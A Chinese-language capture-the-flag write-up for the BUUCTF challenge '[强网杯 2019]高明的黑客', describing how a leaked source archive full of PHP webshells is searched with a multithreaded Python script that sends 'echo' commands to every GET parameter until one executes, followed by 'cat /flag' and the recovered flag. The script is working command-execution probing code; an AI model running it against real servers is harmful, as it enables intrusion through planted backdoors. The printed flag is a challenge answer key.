buuctf web [强网杯 2019]高明的黑客

buuctf web [强网杯 2019]高明的黑客

开始的页面
buuctf web [强网杯 2019]高明的黑客_第1张图片
既然页面上有提示,我们就输入www.tar.gz
buuctf web [强网杯 2019]高明的黑客_第2张图片
有文件压缩包,我们下载下来,压缩打开后,有几千个文件

buuctf web [强网杯 2019]高明的黑客_第3张图片

这里我们随便打开一个文件,这里有很多shell,但是很多是用不了的,所以要用python来测试,不可能手动
buuctf web [强网杯 2019]高明的黑客_第4张图片

import requests
import os
import re
import threading
import time

session = requests.Session()   
session.keep_alive = False  # requests默认使用urllib3库,默认是长连接,改为false,关闭多余的连接
requests.adapters.DEFAULT_RETRIES = 8  # 设置重连次数,防止线程数过高,断开连接
sem = threading.Semaphore(30)  # 设置最大线程数 ,别设置太大,不然还是会崩的挺厉害的,跑到关键的爆炸,心态就爆炸了

url = "http://d067086d-1a60-45c5-88e1-9f886ce0ffdd.node3.buuoj.cn/"


path = r"/[强网杯 2019]高明的黑客/src/"

rrGET = re.compile(r"\$_GET\[\'(\w+)\'\]")  # 匹配get参数,w 匹配任何字母和数字还有下划线,+ 匹配+之前的1次或多次

rrPOST = re.compile(r"\$_POST\[\'(\w+)\'\]")  # 匹配post参数

fileNames = os.listdir(path)  # 列出目录中的文件,以每个文件都开一个线程

flags = []  # 用于存所有的注入点信息,下面的flag表示注入点的信息,php文件名和参数名

local_file = open("flag.txt", "w", encoding="utf-8")


def run(fileName):
    with sem:
        file = open(path + fileName, 'r', encoding='utf-8')
        content = file.read()
        print("[+]checking:%s" % fileName)
        # 测试get的参数
        for i in rrGET.findall(content):
            r = session.get(url + "%s?%s=%s" % (fileName, i, "echo 'h3zh1';"))
            print(url + "%s?%s=%s" % (fileName, i, "echo h3zh1;"))
            if "h3zh1" in r.text:
                flag = "You Find it in GET fileName = %s and param = %s \n" % (fileName, i)
                print(flag)
                local_file.write(flag)
                exit(0)
        # return
    # 测试post的参数
    # for i in rrPOST.findall(content):
    #     r = session.post( url + fileName , data = { i : "echo h3zh1;" } )
    #     if "h3zh1" in r.text:
    #         flag = "You Find it in POST: fileName = %s and param = %s \n" % ( fileName, i )
    #         print(flag)
    #         local_file.writelines(flag)

if __name__ == '__main__':
    start_time = time.time()  # 开始时间
    print("[start]程序开始:" + str(start_time))
    thread_list = []
    for fileName in fileNames:
        t = threading.Thread(target=run, args=(fileName,))
        thread_list.append(t)
    for t in thread_list:
        t.start()
    for t in thread_list:
        t.join()
    end_time = time.time()
    local_file.close()  # 关文件
    print("[end]程序结束:用时:" + str(end_time - start_time))

运行开始跑,我这用了400秒左右,有个文件中的GET可以用
buuctf web [强网杯 2019]高明的黑客_第5张图片

cat /flag就出来了

buuctf web [强网杯 2019]高明的黑客_第6张图片
flag{6777cb6d-ba31-4832-b2a7-4b160c10133a}

你可能感兴趣的:(buuctf,web)